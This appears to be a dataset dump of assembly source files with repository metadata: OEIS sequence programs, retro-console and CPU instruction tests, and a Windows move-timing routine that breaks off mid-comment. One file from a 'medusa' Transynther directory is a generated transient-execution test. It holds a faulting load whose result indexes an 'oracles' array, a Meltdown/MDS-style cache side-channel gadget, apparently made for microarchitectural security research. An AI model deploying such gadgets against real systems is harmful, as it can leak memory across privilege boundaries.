source
stringclasses 1
value | id
stringlengths 40
40
| language
stringclasses 2
values | date
stringclasses 1
value | author
stringclasses 1
value | url
stringclasses 1
value | title
stringclasses 1
value | extra
stringlengths 528
1.53k
| quality_signals
stringlengths 139
178
| text
stringlengths 6
1.05M
|
---|---|---|---|---|---|---|---|---|---|
TheStack | 5e98c63db8e89b5a874c56991063412a1f251aa1 | Assemblycode:Assembly | {"size": 546, "ext": "asm", "max_stars_repo_path": "oeis/017/A017214.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/017/A017214.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/017/A017214.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 78.0, "max_line_length": 486, "alphanum_fraction": 0.8754578755} | ; A017214: a(n) = (9*n + 4)^6.
; 4096,4826809,113379904,887503681,4096000000,13841287201,38068692544,90458382169,192699928576,377149515625,689869781056,1194052296529,1973822685184,3138428376721,4826809000000,7212549413161,10509215371264,14976071831449,20924183895616,28722900390625,38806720086016,51682540549249,67937289638464,88245939632761,113379904000000,144215816802121,181744694737984,227081481823729,281474976710656,346318142640625,423158800038976,513710701744969,619864990879744,743702041351801,887503681000000
mul $0,9
add $0,4
pow $0,6
|
||||
TheStack | 061ea2158abc2f9091e0f81fb8a8a4bbea2fb59d | Assemblycode:Assembly | {"size": 266, "ext": "asm", "max_stars_repo_path": "example/incrementer.asm", "max_stars_repo_name": "eljay26/smsspec", "max_stars_repo_stars_event_min_datetime": "2018-05-16T21:00:58.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-13T17:43:37.000Z", "max_issues_repo_path": "example/incrementer.asm", "max_issues_repo_name": "lajohnston/smsspec", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "example/incrementer.asm", "max_forks_repo_name": "lajohnston/smsspec", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 2, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 17.7333333333, "max_line_length": 46, "alphanum_fraction": 0.5} | .section "Incrementer" free
Incrementer.increment:
inc a
ret
Incrementer.incrementRandom:
push bc
ld b, a
call RandomGenerator.generateByte
add a, b
pop bc
ret
.ends
|
||||
TheStack | ad6e7e537f3ae73487670ee503a6e0ccdd59493d | Assemblycode:Assembly | {"size": 717, "ext": "asm", "max_stars_repo_path": "oeis/086/A086403.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/086/A086403.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/086/A086403.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 39.8333333333, "max_line_length": 478, "alphanum_fraction": 0.8312412831} | ; A086403: Numerators in continued fraction representation of (e-1)/(e+1).
; Submitted by Christian Krause
; 1,6,61,860,15541,342762,8927353,268163352,9126481321,347074453550,14586253530421,671314736852916,33580323096176221,1814008761930368850,105246088515057569521,6527071496695499679152,430891964870418036393553,30168964612425958047227862,2232934273284391313531255341,174199042280794948413485144460,14286554401298470161219313101061,1228817877553949228813274411835706,110607895534256729063355916378314601,10398370998097686481184269413973408200,1019150965709107531885121758485772318201
mul $0,2
add $0,3
mov $1,1
lpb $0
sub $0,2
mov $3,$2
mov $2,$1
mov $1,$0
mul $1,$2
mul $1,2
add $1,$3
lpe
mov $0,$2
|
||||
TheStack | 37d73ac1871d7444c5471e79c68525de0e141ac4 | Assemblycode:Assembly | {"size": 3730, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_52_1032.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_52_1032.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_zr_/i7-8650U_0xd2.log_52_1032.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 19.4270833333, "max_line_length": 155, "alphanum_fraction": 0.6474530831} | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xc8c1, %rsi
lea addresses_D_ht+0x150c1, %rdi
clflush (%rdi)
nop
nop
nop
and $12834, %rax
mov $35, %rcx
rep movsl
nop
add $57159, %r15
lea addresses_WT_ht+0x15ac1, %rbp
nop
and %r12, %r12
mov (%rbp), %edi
nop
nop
inc %rcx
lea addresses_A_ht+0x1e225, %rsi
lea addresses_A_ht+0x1d64d, %rdi
nop
nop
xor %r15, %r15
mov $112, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_normal_ht+0x1421e, %rdi
nop
nop
nop
nop
nop
add $59799, %r12
movb (%rdi), %cl
cmp $41271, %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r14
push %rbx
push %rdi
// Store
lea addresses_WC+0x14ec1, %r10
nop
nop
nop
nop
nop
add $26761, %rbx
mov $0x5152535455565758, %rdi
movq %rdi, (%r10)
nop
nop
and $25672, %rdi
// Store
lea addresses_PSE+0x1eec1, %r14
nop
nop
nop
dec %r12
mov $0x5152535455565758, %r13
movq %r13, %xmm3
vmovups %ymm3, (%r14)
xor %r10, %r10
// Store
lea addresses_UC+0x3ec1, %r13
nop
nop
sub $3610, %r12
mov $0x5152535455565758, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%r13)
nop
nop
nop
nop
nop
sub %r12, %r12
// Store
lea addresses_D+0x6ec9, %rdi
nop
nop
nop
nop
nop
and %r14, %r14
movl $0x51525354, (%rdi)
// Exception!!!
mov (0), %r11
nop
nop
nop
sub %r12, %r12
// Store
mov $0x28e5ad0000000845, %rbx
nop
nop
nop
sub %rdi, %rdi
movw $0x5152, (%rbx)
nop
nop
dec %r12
// Store
lea addresses_normal+0x1301, %rbx
nop
nop
nop
nop
nop
add %r14, %r14
mov $0x5152535455565758, %r13
movq %r13, (%rbx)
and %rbx, %rbx
// Faulty Load
lea addresses_UC+0x3ec1, %r11
clflush (%r11)
nop
nop
nop
sub %r14, %r14
vmovups (%r11), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r13
lea oracles, %rbx
and $0xff, %r13
shlq $12, %r13
mov (%rbx,%r13,1), %r13
pop %rdi
pop %rbx
pop %r14
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'00': 52}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
||||
TheStack | 807312845e657a812c9273a50ea64348cd2dbbdf | Assemblycode:Assembly | {"size": 757, "ext": "asm", "max_stars_repo_path": "libsrc/video/tms9918/gen_setwrt.asm", "max_stars_repo_name": "jpoikela/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/video/tms9918/gen_setwrt.asm", "max_issues_repo_name": "jpoikela/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/video/tms9918/gen_setwrt.asm", "max_forks_repo_name": "jpoikela/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"} | {"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 18.925, "max_line_length": 63, "alphanum_fraction": 0.536327609} | ;
; z88dk library: Generic VDP support code
;
; $Id: gen_setwrt.asm,v 1.3 2016-06-16 19:30:25 dom Exp $
;
SECTION code_clib
PUBLIC SETWRT
PUBLIC _SETWRT
EXTERN l_tms9918_disable_interrupts
EXTERN l_tms9918_enable_interrupts
INCLUDE "video/tms9918/vdp.inc"
;==============================================================
; VRAM to HL
;==============================================================
; Sets VRAM write address to hl
;==============================================================
.SETWRT
._SETWRT
call l_tms9918_disable_interrupts
ld a,l
IF VDP_CMD < 0
ld (-VDP_CMD),a
ELSE
ld bc,VDP_CMD
out (c),a
ENDIF
ld a,h
or $40
IF VDP_CMD < 0
ld (-VDP_CMD),a
ELSE
out (c),a
ENDIF
call l_tms9918_enable_interrupts
ret
|
||||
TheStack | 06f0d5b5ab457d42fe360448ebfcd6526a80bc42 | Assemblycode:Assembly | {"size": 469, "ext": "asm", "max_stars_repo_path": "test/filters-cases/mcore-square.asm", "max_stars_repo_name": "OfekShilon/compiler-explorer", "max_stars_repo_stars_event_min_datetime": "2017-01-02T19:35:10.000Z", "max_stars_repo_stars_event_max_datetime": "2020-05-16T03:18:45.000Z", "max_issues_repo_path": "test/filters-cases/mcore-square.asm", "max_issues_repo_name": "OfekShilon/compiler-explorer", "max_issues_repo_issues_event_min_datetime": "2017-01-02T19:37:06.000Z", "max_issues_repo_issues_event_max_datetime": "2020-05-16T14:54:29.000Z", "max_forks_repo_path": "test/filters-cases/mcore-square.asm", "max_forks_repo_name": "OfekShilon/compiler-explorer", "max_forks_repo_forks_event_min_datetime": "2017-01-03T00:29:17.000Z", "max_forks_repo_forks_event_max_datetime": "2020-05-14T09:27:47.000Z"} | {"max_stars_count": 4668, "max_issues_count": 1750, "max_forks_count": 620, "avg_line_length": 23.45, "max_line_length": 58, "alphanum_fraction": 0.4029850746} | .file "example.d"
.text
.align 1
.export square
.type square, @function
square:
subi sp,16
stw r8,(sp,8)
mov r8,sp
stw r2,(r8)
ldw r7,(r8)
mult r7,r7
mov r2,r7
mov sp,r8
ldw r8,(sp,8)
addi sp,16
jmp r15
.size square, .-square
.ident "GCC: (GNU) 9.0.1 20190425 (experimental)"
|
||||
TheStack | fae13f56838b5f456dac70a947240a7c5aa557b2 | Assemblycode:Assembly | {"size": 1546, "ext": "asm", "max_stars_repo_path": "software/pcx86/test/cpu/80186/cmpneg.asm", "max_stars_repo_name": "jriwanek-forks/pcjs", "max_stars_repo_stars_event_min_datetime": "2015-01-12T21:43:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T15:04:16.000Z", "max_issues_repo_path": "software/pcx86/test/cpu/80186/cmpneg.asm", "max_issues_repo_name": "jriwanek-forks/pcjs", "max_issues_repo_issues_event_min_datetime": "2015-01-06T11:52:01.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-28T18:14:28.000Z", "max_forks_repo_path": "software/pcx86/test/cpu/80186/cmpneg.asm", "max_forks_repo_name": "jriwanek-forks/pcjs", "max_forks_repo_forks_event_min_datetime": "2015-02-01T20:23:27.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-30T21:58:48.000Z"} | {"max_stars_count": 711, "max_issues_count": 98, "max_forks_count": 152, "avg_line_length": 11.5373134328, "max_line_length": 52, "alphanum_fraction": 0.6972833118} | ;00: 01 00 02 00 ff ff ff ff 01 00 ff ff 00 80 00 80
;10: 81 7f c3 ef 33 e9 01 ff ff ff 80 80 ff 01 7f 80
;20: 00 bc 00 00 01 80 00 80 17 53 bc 00 81 37 00 80
;30: XX XX XX XX 83 08 13 00 97 00 46 00 17 00 87 08
;40: 93 00 46 00 87 00 87 08 87 08 82 00 46 00 97 00
;50: 96 00 16 00 93 08 93 00 16 08 13 00 46 00 97 00
use16
start:
mov sp,96
; cmp word tests
mov ax,1
mov bx,2
cmp ax,bx
mov word[0],ax
mov word[2],bx
pushf
mov dx,0ffffh
mov word[4],0ffffh
cmp word[4],dx
mov word[6],dx
pushf
mov cx,0ffffh
mov word[8],1
cmp word[8],cx
mov word[10],cx
pushf
mov ax,08000h
cmp ax,00001h
mov word[12],ax
pushf
mov bp,8000h
db 083h,0fdh,0ffh
mov word[14],bp
pushf
mov si,07f81h
cmp si,0903ch
mov word[16],si
pushf
mov word[18],0efc3h
cmp word[18],0c664h
pushf
mov word[20],0e933h
dw 03e83h,00014h
db 064h
pushf
; cmp byte tests
mov byte[22],1
cmp byte[22],2
pushf
mov dh,0ffh
cmp dh,0ffh
mov word[23],dx
pushf
mov al,0ffh
cmp al,1
mov word[25],ax
pushf
mov byte[27],80h
mov ch,1
cmp ch,byte[27]
mov word[28],cx
pushf
mov bl,80h
mov byte[30],7Fh
cmp byte[30],bl
mov word[31],bx
pushf
mov al,0bch
mov ah,08eh
cmp ah,al
mov word[33],ax
pushf
; neg word tests
mov cx,0
neg cx
mov word[34],cx
pushf
mov word[36],7fffh
neg word[36]
pushf
mov bp,8000h
neg bp
mov word[38],bp
pushf
mov word[40],0ace9h
neg word[40]
pushf
; neg byte tests
mov ah,0
neg ah
mov word[42],ax
pushf
mov byte[44],7fh
neg byte[44]
pushf
mov cl,0c9h
neg cl
mov word[45],cx
pushf
mov byte[47],80h
neg byte[47]
pushf
hlt
rb 65520-$
jmp start
rb 65535-$
db 0ffh
|
||||
TheStack | 6d424d604bad5fdc3eaf872c110d09701008fd33 | Assemblycode:Assembly | {"size": 72, "ext": "asm", "max_stars_repo_path": "gcc-tp-func.asm", "max_stars_repo_name": "werkzeuge/two-plus-two-makes-four", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "gcc-tp-func.asm", "max_issues_repo_name": "werkzeuge/two-plus-two-makes-four", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "gcc-tp-func.asm", "max_forks_repo_name": "werkzeuge/two-plus-two-makes-four", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 9.0, "max_line_length": 14, "alphanum_fraction": 0.6666666667} | BITS 64
SECTION .text
global L3
L3:
MOV EAX, ECX
ADD EAX, EDX
RET
|
||||
TheStack | 2cca11a865223a033e4db3acf9f3bd0c880db0e5 | Assemblycode:Assembly | {"size": 736, "ext": "asm", "max_stars_repo_path": "oeis/108/A108601.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/108/A108601.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/108/A108601.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 32.0, "max_line_length": 401, "alphanum_fraction": 0.6779891304} | ; A108601: Numbers n such that 7*n - 911 is prime.
; Submitted by Jamie Morken(s4)
; 132,136,142,144,150,154,156,162,166,172,174,180,190,192,196,202,214,216,222,234,240,244,246,250,252,256,264,276,280,282,286,304,306,310,316,330,334,342,346,352,354,360,364,372,376,384,394,396,400,406,412,414,420,430,432,436,450,454,456,460,466,472,484,504,510,514,520,544,550,552,562,564,570,576,582,586,606,610,612,624,630,634,636,642,660,670,672,676,682,684,690,694,700,702,712,720,724,736,742,744
mov $1,-2
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,14
sub $2,2
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
div $0,7
add $0,131
|
||||
TheStack | 821ba5fe2c0f37eb01fea09454d2cab16bd4dc4e | Assemblycode:Assembly | {"size": 677, "ext": "asm", "max_stars_repo_path": "images/vmovsd-checker/vmovsd-checker.asm", "max_stars_repo_name": "robbmanes/lovely-container-images", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "images/vmovsd-checker/vmovsd-checker.asm", "max_issues_repo_name": "robbmanes/lovely-container-images", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "images/vmovsd-checker/vmovsd-checker.asm", "max_forks_repo_name": "robbmanes/lovely-container-images", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 19.3428571429, "max_line_length": 82, "alphanum_fraction": 0.5420974889} | .global _start
.text
_start:
mov $entry_message, %rdi
call _print64b
call _try_vmovsd
mov $exit_message, %rdi
call _print64b
call _exit
_try_vmovsd:
vmovsd 0x18(%rsp),%xmm17
ret
_print64b:
push %rdi
mov %rdi, %rsi
mov $1, %rax
mov $1, %rdi
mov $64, %rdx
syscall
pop %rdi
ret
_exit:
mov $60, %rax
xor %rdi, %rdi
syscall
entry_message:
.ascii "Checking if instruction vmovsd is supported on this platform...\n"
exit_message:
.ascii "The instruction vmovsd is supported on your platform.\n" |
||||
TheStack | 8c31646e9ac86ec547f089ecbd4ca678fb147d36 | Assemblycode:Assembly | {"size": 559, "ext": "asm", "max_stars_repo_path": "oeis/011/A011906.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/011/A011906.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/011/A011906.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 24.3043478261, "max_line_length": 230, "alphanum_fraction": 0.6636851521} | ; A011906: If b(n) is A011900(n) and c(n) is A001109(n), then a(n) = b(n)*c(n) = b(n) + (b(n)+1) + (b(n)+2) + ... + c(n).
; Submitted by Jon Maiga
; 1,18,525,17340,586177,19896030,675781821,22956120408,779829016225,26491211221770,899921240562957,30570830315362260,1038508305678375841,35278711540581704598,1198437683944896688125,40711602541832856049200,1382996048733983114022337
add $0,1
lpb $0
sub $0,1
add $2,$1
add $1,$2
add $1,$2
add $1,1
add $2,$1
lpe
mov $0,$1
lpb $0
add $2,1
mov $1,$2
sub $1,$0
mul $1,$0
trn $0,$2
lpe
mov $0,$1
|
||||
TheStack | bf095459a8bd216c91a838cac262c392fd82fe0e | Assemblycode:Assembly | {"size": 418, "ext": "asm", "max_stars_repo_path": "programs/oeis/328/A328005.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/328/A328005.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/328/A328005.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 27.8666666667, "max_line_length": 211, "alphanum_fraction": 0.6746411483} | ; A328005: Number of distinct coefficients in functional composition of 1 + x + ... + x^(n-1) with itself.
; 0,1,2,4,8,13,19,25,33,41,51,61,73,85,99,113,129,145,163,181,201,221,243,265,289,313,339,365,393,421,451,481,513,545,579,613,649,685,723,761,801,841,883,925,969,1013,1059,1105,1153,1201,1251,1301,1353,1405,1459
pow $0,2
sub $0,2
div $0,2
mov $1,$0
add $0,6
mov $2,$1
lpb $2
add $0,1
mod $2,8
lpe
sub $0,5
|
||||
TheStack | 19a9881ebc62ab5587d2c1627ca08bb85640d84e | Assemblycode:Assembly | {"size": 363, "ext": "asm", "max_stars_repo_path": "oeis/102/A102516.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/102/A102516.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/102/A102516.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 25.9285714286, "max_line_length": 200, "alphanum_fraction": 0.6804407713} | ; A102516: Sum C(n-3k,3k+1), k=0..floor(n/6).
; Submitted by Jon Maiga
; 0,1,2,3,4,5,6,8,13,24,45,81,138,224,352,546,851,1348,2175,3556,5843,9582,15624,25317,40836,65737,105863,170796,276160,447272,724968,1174985,1903186,3080367,4982688,8057421,13029534,21074012,34094041
lpb $0
mov $2,$0
trn $0,3
add $3,1
bin $2,$3
add $1,$2
add $3,2
lpe
mov $0,$1
|
||||
TheStack | 23d31e78f1b1e7083b83efa2b85713e5a89ef8b1 | Assemblycode:Assembly | {"size": 299, "ext": "asm", "max_stars_repo_path": "programs/oeis/052/A052678.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/052/A052678.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/052/A052678.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 23.0, "max_line_length": 183, "alphanum_fraction": 0.745819398} | ; A052678: E.g.f. x^3/(1-3x).
; 0,0,0,6,72,1080,19440,408240,9797760,264539520,7936185600,261894124800,9428188492800,367699351219200,15443372751206400,694951773804288000,33357685142605824000,1701241942272897024000
mov $1,2
lpb $0
sub $0,1
add $2,3
mul $1,$2
lpe
div $1,324
mul $1,6
mov $0,$1
|
||||
TheStack | 9ffe2d4048452de1f9ea48e1863e6010420932a9 | Assemblycode:Assembly | {"size": 4557, "ext": "asm", "max_stars_repo_path": "base/win32/client/bt/char/i386/move.asm", "max_stars_repo_name": "npocmaka/Windows-Server-2003", "max_stars_repo_stars_event_min_datetime": "2020-11-13T13:42:52.000Z", "max_stars_repo_stars_event_max_datetime": "2021-09-16T09:13:13.000Z", "max_issues_repo_path": "base/win32/client/bt/char/i386/move.asm", "max_issues_repo_name": "sancho1952007/Windows-Server-2003", "max_issues_repo_issues_event_min_datetime": "2020-10-19T08:02:06.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-19T08:23:18.000Z", "max_forks_repo_path": "base/win32/client/bt/char/i386/move.asm", "max_forks_repo_name": "sancho1952007/Windows-Server-2003", "max_forks_repo_forks_event_min_datetime": "2020-11-14T09:43:20.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-28T08:59:57.000Z"} | {"max_stars_count": 17, "max_issues_count": 2, "max_forks_count": 14, "avg_line_length": 27.2874251497, "max_line_length": 76, "alphanum_fraction": 0.3482554312} | title "Move Test"
;++
;
; Copyright (c) 2001 Microsoft Corporation
;
; Module Name:
;
; move.asm
;
; Abstract:
;
; This module implements code to test x86 move instruction timing.
;
; Author:
;
; Mark Lucovsky (markl) 28-Sep-1990
;
; Revision History:
;
;--
.386p
.xlist
include ks386.inc
include callconv.inc
.list
_TEXT SEGMENT DWORD PUBLIC 'CODE'
ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING
subttl "Move To register"
;++
;
; VOID
; FASTCALL
; RegToMem (
; IN ULONG Count,
; IN PULONG Address
; )
;
; Routine Description:
;
; This function performs a move dword to register in a loop such that the
; loop overhead is negligible.
;
; Arguments:
;
; Count (ecx) - Supplies the iteration count.
;
; Address (edx) - Supplies the source address.
;
; Return Value:
;
; None.
;
;--
cPublicFastCall RegToMem, 2
RTM10: mov [edx], eax ; repeat move 32 times in a loop
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
mov [edx], eax ;
dec ecx ;
jnz RTM10 ;
fstRET RegToMem
fstENDP RegToMem
subttl "Move To register"
;++
;
; VOID
; FASTCALL
; MemToReg (
; IN ULONG Count,
; IN PULONG Address
; )
;
; Routine Description:
;
; This function performs a move dword to register in a loop such that the
; loop overhead is negligible.
;
; Arguments:
;
